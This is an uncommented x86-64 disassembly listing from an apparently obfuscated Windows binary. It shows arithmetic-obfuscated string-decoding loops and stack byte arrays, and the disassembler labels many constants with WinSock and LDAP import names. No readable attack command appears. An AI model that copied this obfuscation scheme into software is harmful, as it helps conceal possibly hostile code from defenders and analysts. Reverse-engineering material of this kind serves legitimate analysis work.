lea rax, [r10 + 0x80]
cmp rbx, rax
ja 0x140118442
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x14011841f
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x140118211
mov rbx, rcx
lea r10, [rcx + 0x40]
jmp 0x140118211
movabs rcx, 0x50d5a7e94718dfde
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x12
jmp 0x140118204
movabs rcx, 0x46767ed1a987052a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x26
jmp 0x14011817d
movabs rcx, 0x3c1755ba0bf52a76
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3a
jmp 0x140118121
movabs rcx, 0x67397bbfb3dbc310
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x140118ae5
movabs rdx, 0x5cda52a81649e85c
mov ecx, 0x3e
jmp 0x14011884c
movabs rdx, 0x527b299078b80da8
mov ecx, 0x34
jmp 0x14011881c
movabs rdx, 0x481c0078db2632f4
mov ecx, Ordinal_46
jmp 0x1401187f2
movabs rdx, 0x3dbcd7613d945840
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140118b5f
movabs rdx, 0x335dae49a0027d8c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140118b62
movabs rdx, 0x28fe85320270a2d8
mov ecx, recv
jmp 0x140118963
movabs rdx, 0x1e9f5c1a64dec824
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140118bcb
movabs rcx, 0x14403302c74ced70
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x140118c20
movabs rdx, 0x7a524c47bd604aae
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
mov byte [rbp + r9 + 0x320], dil
jmp 0x140118c2f
movabs rdx, 0x6ff323301fce6ffa
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x1401185b5
movabs rdx, 0x6593fa18823c9546
add rdx, r9
mov al, dl
and al, r8b
mov ecx, ntohl
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 0x1000
jae 0x1401189a5
lea rax, [r10 + 0x5a]
cmp rbx, rax
jbe 0x14011892e
movabs rdx, 0xa93d94c83c5c06d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r10, 0x42
jb 0x14011854c
movabs rcx, 0x10f52fb4640e91dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea edi, [rcx*2 - 8]
jmp 0x140118ae5
movabs rdx, 0x5b34d100e4aaba92
add rdx, r9
mov al, dl
and al, r8b
mov ecx, r12d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
lea rax, [rbx + r10]
cmp rax, r12
je 0x1401189d4
lea rax, [r10 + 5]
cmp rbx, rax
jbe 0x140118898
movabs rcx, 0xbc56655045e08e72
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1e
jmp 0x14011858c
movabs rcx, 0x8d6b1ccfc6e4d24c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x14
jmp 0x140118c20
movabs rcx, 0x830bf3b82952f798
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x28
jmp 0x140118bcb
movabs rcx, 0x78accaa08bc11ce4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3c
jmp 0x140118b99
movabs rcx, 0x6e4da188ee2f4230
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x50
jmp 0x140118b62
movabs rcx, 0x63ee7871509d677c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x64
jmp 0x140118b5f
movabs rcx, 0x598f4f59b30b8cc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x140118b36
movabs rdx, 0x4f3026421579b214
mov ecx, Ordinal_60
jmp 0x14011881c
movabs rdx, 0x44d0fd2a77e7d760
mov ecx, Ordinal_50
jmp 0x14011884c
movabs rdx, 0x3a71d412da55fcac
mov ecx, Ordinal_41
jmp 0x140118880
lea rcx, [r10 + 6]
cmp rbx, rcx
jae 0x140118786
lea rcx, [r9 + rsi]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x76
jmp 0x140118618
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401187b2
movabs rcx, 0xd9ce5eefecf6f0c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5c
jmp 0x140118c20
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401187de
movabs rcx, 0x34b034e633e5b94
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xc
jmp 0x140118b5f
cmp rbx, rcx
jne 0x140118804
movabs rdx, 0xdaa2c6600d03648
mov ecx, 4
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1401189c9
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140118834
movabs rdx, 0x1809557d9e6210fc
mov ecx, reloc.WS2_32.dll_ntohl
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140118b0e
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140118864
movabs rdx, 0x22687e953bf3ebb0
mov ecx, Ordinal_27
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140118b0b
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140118618
movabs rdx, 0x2cc7a7acd985c664
mov ecx, Ordinal_35
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140118ae5
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401188c4
movabs rcx, 0xc6b58e67e3726926
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xa
jmp 0x140118ae5
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401188e1
movabs rdx, 0xd114b77f810443da
mov ecx, 5
jmp 0x14011884c
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401188fe
movabs rdx, 0xdb73e0971e961e8e
mov ecx, reloc.WS2_32.dll_ntohs
jmp 0x14011881c
lea rax, [r10 + 8]
cmp rbx, rax
jne 0x14011858c
movabs rcx, 0x19aed724d0013ec6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x140118c20
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14011894b
movabs rdx, 0xb39cbddfd9ede188
mov ecx, 0x24
jmp 0x140118a12
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140118975
movabs rdx, 0xc85b100f151196f0
mov ecx, Ordinal_60
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1401189f8
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401185c8
movabs rcx, 0xdd19623e50354c58
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x140118b5f
movabs rdx, 0x1b5458cc01a06c90
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r9 + 0x320]
add dil, dl
add dil, r8b
jmp 0x140118b36
movabs rdx, 0x25b381e39f324744
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x320]
add dil, dl
add dil, r8b
jmp 0x140118b99
movabs rdx, 0x4a3fa14c809c28b6
mov ecx, 3
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140118c20
movabs rcx, 0x35814f1d4578734e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x22
jmp 0x140118b99
movabs rcx, 0x2b222605a7e6989a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x36
jmp 0x140118b62
movabs rcx, 0x20c2fcee0a54bde6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4a
jmp 0x140118b5f
movabs rcx, 0xc04aabecf31087e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x72
jmp 0x140118b0e
movabs rdx, 0xf746588f940d5316
mov ecx, r14d
jmp 0x140118ad2
movabs rdx, 0xe288066058e99dae
mov ecx, Ordinal_32
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rcx, 0x9624c44032d77f36
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x7a
add r8b, cl
mov byte [rbp + r9 + 0x320], r8b
add r10, r12
sub r9, r12
jmp 0x140118c2f
movabs rdx, 0xc36a8b1980340d92
add rdx, r9
mov al, r8b
and al, dl
mov ecx, r12d
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rcx, 0xa083ed57d06959ea
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x66
add r8b, cl
add r8b, dil
mov byte [rbp + r9 + 0x320], r8b
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140118c2f
mov r8, r11
movabs rdx, 0xa44d0fd2a77e7d76
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov dil, r11b
sub dil, al
sub dil, 0x3a
add dil, dl
movabs rdx, 0xaae3166f6dfb349e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x52
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x320], al
add r10, r12
add rax, r10
sub r9, rax
movabs rdx, 0x3012aafb3cc421f8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x320], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140118c20
movabs rcx, 0x8f8ebda36c5ac80e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x62
movzx eax, byte [rbp + r9 + 0x320]
add rax, r10
add r9, rax
add r9, r12
jmp 0x14011810e
movabs rcx, 0x31b82ca26e634fc2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4e
jmp 0x14011810b
movabs rcx, 0x2759038ad0d1750e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x62
jmp 0x1401180fb
lea rcx, [rbp + 0x17f7b98]
jmp 0x140118c96
lea rcx, [rbp + 0x14868f2]
jmp 0x140118c96
lea rcx, [rbp + 0x320]
xor edx, edx
call fcn.1401a2d88
movabs rsi, 0x9ef08ee37fe4627c
movabs r14, 0xe2ff43c1b0c1bb8c
movabs r12, 0x289fac1d7322f8a4
mov r13d, 0xeced0b92
mov r15d, 0xf84eee59
mov dword [rsp + 0x70], r15d
mov dword [rsp + 0x74], 0xb3002016
mov dword [rsp + 0x78], 0x2fd4df39
mov dword [rsp + 0x7c], 0xe80fd3a
mov dword [rbp - 0x80], 0xa52bcaf9
mov dword [rbp - 0x7c], 0x820621f3
mov dword [rbp - 0x78], 0x33b00bc5
test al, al
je 0x14011de14
mov byte [rbp + 0xad0], 0x9b
mov byte [rbp + 0xad1], 0x59
mov byte [rbp + 0xad2], 0x80
mov byte [rbp + 0xad3], 0x5b
mov byte [rbp + 0xad4], 0xa0
mov byte [rbp + 0xad5], 0x45
mov byte [rbp + 0xad6], 0xbb
mov byte [rbp + 0xad7], 0x47
mov byte [rbp + 0xad8], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xad9], 0x41
mov byte [rbp + 0xada], 0xaf
mov byte [rbp + 0xadb], 0x43
mov byte [rbp + 0xadc], 0xde
mov byte [rbp + 0xadd], Ordinal_79
mov byte [rbp + 0xade], 0xdd
mov byte [rbp + 0xadf], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xae0], 0xac
mov byte [rbp + 0xae1], Ordinal_79
mov byte [rbp + 0xae2], 0x86
mov byte [rbp + 0xae3], Ordinal_79
mov byte [rbp + 0xae4], 0x99
mov byte [rbp + 0xae5], 0x75
mov byte [rbp + 0xae6], 0x98
mov byte [rbp + 0xae7], 0x77
mov byte [rbp + 0xae8], __WSAFDIsSet
mov byte [rbp + 0xae9], WSACleanup
mov byte [rbp + 0xaea], 0xef
mov byte [rbp + 0xaeb], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xaec], 0xe8
mov byte [rbp + 0xaed], 0x7d
mov byte [rbp + 0xaee], 0xe2
mov byte [rbp + 0xaef], 0x7f
mov byte [rbp + 0xaf0], 0x9c
mov byte [rbp + 0xaf1], 0x79
mov byte [rbp + 0xaf2], 0xbb
mov byte [rbp + 0xaf3], 0x7b
mov byte [rbp + 0xaf4], 0xf4
mov byte [rbp + 0xaf5], 0x65
mov byte [rbp + 0xaf6], 0xf6
mov byte [rbp + 0xaf7], 0x67
mov byte [rbp + 0xaf8], 0xac
mov byte [rbp + 0xaf9], 0x61
mov byte [rbp + 0xafa], 0x83
mov byte [rbp + 0xafb], 0x63
mov byte [rbp + 0xafc], 0xf0
mov byte [rbp + 0xafd], WSASetLastError
mov byte [rbp + 0xafe], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xaff], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xb00], Ordinal_143
mov byte [rbp + 0xb01], WSAGetLastError
mov byte [rbp + 0xb02], 0xa7
mov byte [rbp + 0xb03], WSASetLastError
mov byte [rbp + 0xb04], 0x88
mov byte [rbp + 0xb05], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xb06], 0xfe
mov byte [rbp + 0xb07], reloc.WS2_32.dll_socket
mov byte [rbp + 0xb08], 0xfd
mov byte [rbp + 0xb09], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xb0a], 0x80
mov byte [rbp + 0xb0b], reloc.WS2_32.dll_send
mov byte [rbp + 0xb0c], 0xfd
mov byte [rbp + 0xb0d], Ordinal_32
mov byte [rbp + 0xb0e], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xb0f], Ordinal_32
mov byte [rbp + 0xb10], 0xfa
mov byte [rbp + 0xb11], Ordinal_27
mov byte [rbp + 0xb12], 0xf3
mov byte [rbp + 0xb13], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xb14], __WSAFDIsSet
mov byte [rbp + 0xb15], 5
mov byte [rbp + 0xb16], 6
mov byte [rbp + 0xb17], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb18], xmm0
mov qword [rbp + 0xb28], rax
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r11d, r11d
cmp r11, 0x60
jae 0x140119904
movzx r9d, byte [rbp + r11 + 0xad0]
mov r8d, r9d
cmp rdi, r11
ja 0x1401198fb
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140118f64
lea rcx, [r11 + r14]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
add bl, 0x2c
jmp 0x140118f91
je 0x140119881
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14011982e
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401197d1
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401197ab
cmp r10, r11
ja 0x1401198f2
lea rax, [r10 + 0x400]
cmp rdi, rax
jae 0x140118fbd
lea rcx, [r11 + rsi]
mov al, r9b
and al, cl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x64
add bl, cl
jmp 0x140118ff1
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140119762
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14011973f
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14011971e
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401196fb
lea rax, [r10 + rdi]
cmp rax, r11
jbe 0x140119329
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x140119308
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401192f4
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401192d1
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x1401192ae
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x14011928d
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140119269
lea rdi, [r10 + 4]
lea r10, [rdi + 0x2a]
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x1401198d8
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1401198b5
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x140119116
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x140119252
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x140119224
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x140118ffe
lea rdi, [r10 + 2]
lea r10, [rdi + 0x41]
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140119210
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x1401191ea
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x1401191c9
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1401191a3
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x14011917d
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x14011915a
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x140119139
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x28]
jmp 0x140118ffe
movabs rdx, 0x4099ca2af930d504
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x1c
add bl, dl
jmp 0x140118ff1
movabs rdx, 0xf784771bff2313e0
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x20
jmp 0x14011977e
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x78
jmp 0x1401197a6
movabs rdx, 0x6b8768153c1c25b0
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401197c9
movabs rdx, 0x198bd18b1791c068
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011981f
movabs rdx, 0x538d4a07b60e4950
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x30
jmp 0x1401196c0
movabs rdx, 0x8d8ec284548ad238
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011984c
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14011940f
movabs rdx, 0x5893e8387f3eb164
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
mov byte [rbp + r11 + 0xad0], bl
jmp 0x1401198ad
movabs rdx, 0x69851ae5ab44c1c
add rdx, r11
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x14011933f
movabs rdx, 0xf3a4d1d19dd6d7d0
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x14011984a
movabs rdx, 0x2da64a4e3c5360b8
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 8
jmp 0x1401196c0
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x60
jmp 0x14011981f
movabs rcx, 0x15ac2c40b6458458
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x68
jmp 0x1401197c9
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14011974e
movabs rdx, 0x89af1d39f33e9628
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x18
jmp 0x14011977e
lea rax, [r10 + 0x61]
cmp rdi, rax
jae 0x1401193f7
lea rdx, [r11 + r14]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 2
je 0x140119699
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x1401194d5
movabs rdx, 0x16d325271e29b05c
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp rdi, 0x80
jae 0x140119673
lea rax, [r10 + 0x28]
cmp rdi, rax
jbe 0x140119588
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r11
mov al, r9b
and al, dl
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp r10, 0x42
jb 0x140119245
movabs rdx, 0x71b4ff2c6d30b9c8
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x140119780
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140119426
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, Ordinal_32
add rdx, r11
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011989e
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140119450
movabs rdx, 0xc9de2ccdc2cfb328
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x18
jmp 0x1401196c0
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14011947c
movabs rcx, 0x55db3bd485d6a158
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x68
jmp 0x14011981c
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401194a7
movabs rcx, 0x1bd9c357e75a1870
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x10
jmp 0x1401197f2
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x14011934e
movabs rdx, 0x6dd559e20be47db8
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 8
jmp 0x14011977e
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401194ff
movabs rdx, 0xdcd1acaa7fad2774
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x2c
jmp 0x14011977e
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14011952e
movabs rdx, 0xa2d0342de1309e8c
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401197a6
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14011955a
movabs rcx, 0xbaca523b673e7aec
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x74
jmp 0x14011981f
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14011938a
movabs rdx, 0x80c8d9bec8c1f204
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x1c
jmp 0x1401196c0
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401195a5
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x14011940f
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401195cf
movabs rdx, 0x41c0c31161150108
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x38
jmp 0x14011984a
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401195fb
movabs rcx, 0x93bc599b859f6650
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x30
jmp 0x14011981c
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140119618
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1401197e0
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140119644
movabs rcx, 0x1fb968a248a65480
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
add bl, 0x80
jmp 0x1401197c9
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401193c5
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x28
jmp 0x1401197a6
movabs rdx, 0x37b386afceb430e0
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, byte [rbp + r11 + 0xad0]
sub bl, al
sub bl, 0x20
jmp 0x1401197ed
movabs rdx, 0xfdb20e333037a7f8
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r11 + 0xad0]
add bl, r9b
add bl, dl
movabs rdx, 0xe0b151f4e0f96384
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0xad0], al
inc r10
add rax, r10
sub r11, rax
jmp 0x14011984c
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x54
jmp 0x14011981f
movabs rdx, 0xb6eaacf105f23edc
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 4
jmp 0x1401197f0
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r11
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401197a6
movabs rdx, 0x64ef1666e167d994
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0xc
add bl, dl
movabs rcx, 0x54b442ee1df27554
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x4c
add r9b, cl
mov byte [rbp + r11 + 0xad0], r9b
inc r10
jmp 0x1401197c9
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x6c
dec r11
jmp 0x1401198ad
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r11
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
movabs rdx, 0x1ab2ca717f75ec6c
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, bl
add cl, r9b
add cl, dl
mov byte [rbp + r11 + 0xad0], cl
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x1401198ad
movabs rdx, 0x6efc52c873c8a9bc
add rdx, r11
mov al, dl
and al, r8b
add al, al
mov bl, r8b
sub bl, al
